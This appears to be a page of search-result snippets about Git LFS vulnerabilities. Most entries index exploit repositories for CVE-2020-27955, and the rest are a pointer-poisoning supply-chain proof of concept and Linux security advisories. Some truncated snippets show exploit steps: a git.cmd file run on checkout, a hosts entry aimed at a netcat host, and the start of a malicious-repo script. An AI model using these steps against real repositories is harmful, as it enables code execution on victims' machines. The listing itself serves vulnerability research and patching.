ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

cve-2020-27955

cve-2020-27955 cve-2020-27955 Воспроизведение 1. Создайте репозиторий на GitHub 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Эксплойт Git-lfs для удалённого выполнения кода RCE CVE-2020-27955 версия на Go Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружил Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git, GitHub CLI...

CVE-2020-27955-LFS

Эксплойт удаленного выполнения кода RCE Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимые: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и т.д. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на:...

CVE-2020-27955

Воспроизведение уязвимости CVE-2020-27955 1、На машине с Windows скачайте уязвимую версию Git-LFS Ссылка для загрузки: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2、На машине с Windows установите и добавьте в файл hosts следующую запись: 10.1.1.5 — это хост, на котором nc...

CVE-2020-27955-LFS-main

Git-lfs эксплойт удалённого выполнения кода RCE CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на: git...

CVE-2020-27955-LFS

Эксплуатация удаленного выполнения кода RCE в Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимые: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows...

CVE-2020-27955

Эксплойт Git-lfs удаленного выполнения кода RCE CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git,...

CVE-2020-27955

Эксплойт удаленного выполнения кода RCE Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на: git...

CVE-2020-27955-LFS

Git-lfs Remote Code Execution RCE эксплойт CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и т.д. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git, GitHu...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – Git LFS 포인터 중독 공급망 프로그램 코드 Bash + Python createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566 size 4" malware.bi...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs эксплойт удалённого выполнения кода RCE CVE-2020-27955 версия .bat / powershell Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows: git,...

CVE-2020-27955

CVE-2020-27955 감사합니다 https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2024_7135)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20247135 advisory. encoding/gob: golang: Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion CVE-2024-34156 Tenable h...

Rocky Linux 9 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0673)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250673 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 10.1 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_23667)

The Rocky Linux 10.1 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202523667 advisory. git-lfs: Git LFS may write to arbitrary files via crafted symlinks CVE-2025-26625 Tenable has extracted the preceding description block directly from the CIQ...

AlmaLinux 9.6 [TuxCare] Security Update: git-lfs Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1779120418)

The AlmaLinux 9.6 host has a package installed that is affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1779120418 advisory. - During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates a...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource Multiple Vulnerabilities (crlsa-2026_67161)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202667161 advisory. encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal CVE-2026-33818 net/url: golang: golang net/url: Denial of...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_23745)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202523745 advisory. git-lfs: Git LFS may write to arbitrary files via crafted symlinks CVE-2025-26625 Tenable has extracted the preceding description block directly from the CIQ...

Rocky Linux 8.8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (ciqsa-2026_0326)

The Rocky Linux 8.8 host has packages installed that are affected by a vulnerability as referenced in the CIQ ciqsa-20260326 advisory. This advisory aggregates security fixes for the git-lfs SRPM in CIQ LTS 8.8. It addresses 1 CVE: CVE-2024-34156. Tenable has extracted the preceding description...